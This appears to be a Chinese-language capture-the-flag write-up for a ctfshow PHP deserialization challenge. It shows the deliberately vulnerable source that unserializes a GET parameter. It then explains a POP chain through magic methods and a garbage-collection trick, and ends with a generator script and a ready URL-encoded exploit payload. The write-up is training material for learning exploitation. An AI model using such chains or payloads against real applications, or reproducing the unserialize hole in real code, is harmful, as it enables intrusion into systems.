<?php
include("./HappyYear.php");
class one {
public $object;
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}
public function __destruct() {
@$this->object->add();
}
public function __toString() {
return $this->object->string;
}
}
class second {
protected $filename;
protected function addMe() {
return "Wow you have sovled".$this->filename;
}
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
if (isset($_GET["ctfshow"])) {
$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");
} else {
highlight_file(__FILE__);
}
考点:GC回收机制
我们首先找到我们需要构造的pop链的尾部
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
} 这里很明显可以输出flag。
这里有__destruc()魔术方法,所以我们pop的首部已经找到
public function __destruct() {
@$this->object->add();
}
这里有throw new Exception 说明__destruct()魔术方法无法正常调用,这里就需要使用GC回收机制。
if (isset($_GET["ctfshow"])) {
$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");
} else {
highlight_file(__FILE__);
这里为入口,首先进入到one类的__destruct魔术方法,然后看到调用了add()函数,但是解读代码发现这个函数是没有的,所以我们可以令objict=new second,进入到second的__call魔术方法
public function __destruct() {
@$this->object->add();
}
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
} 进入到这里后,我们需要了解一下claa_user_func函数。
可以看到如果有[]的话是将类中方法的变量进行替换,那么我们就知道,上面那个代码其实就是在当前类中,将刚才调用的add方法进行了调用,并且给他拼接上了一个Me,这样的话就会调用当前类的addMe的方法。
在addMe方法中,可以看到将$filename变量当作字符串进行了拼接,这样的话就会调用one类中的__tostring魔术方法。
public function __toString() {
return $this->object->string;
}
然后看到string在third类里面为私有属性,则我们可以让$object=new third(),这样就会调用__get魔术方法。
public function __get($name) {
$var = $this->$name;
$var[$name]();
} 在__get魔术方法中,$name就是传进来的string,在$var[$name]()这个中
我们可以通过使用数组来调用类中的方法,$name
是 "string",那么 $var = $this->$name;
将得到 $var=$this->string
。然后,$var[$name]();
就是 string['string']()
。所以我们可以采用 $string = array("string"=>[new one(),"MeMeMe"]);便可以绕过,从而调用one类中的MeMeMe方法
接着我们就是需要去研究GC回收机制了。
这里的话可以去看这篇文章:https://blog.csdn.net/qq_51295677/article/details/123520193?spm=1001.2014.3001.5502
然后构造我们的链子:
<?
class one {
public $object;
public $year_parm=array(0=>"Happy_func"); //array_walk函数的作用就是遍历自定义函数,其中$fn的值为成员的值,prev为成员变量的名字
}
class second {
public $filename; //php7.1以上则对于类属性不敏感,把protected直接改为public即可
}
class third {
private $string;
public function __construct($string){
$this->string=$string;
}
}
$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third(['string'=>[new one(),'MeMeMe']]);
$n=null;
$b=array($a,$n);
echo urlencode(serialize($b));
?>
然后再将生成的payload:中的1改为0,或者直接去掉,都可以。
payload:
?ctfshow=a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A%3BN%3B%7D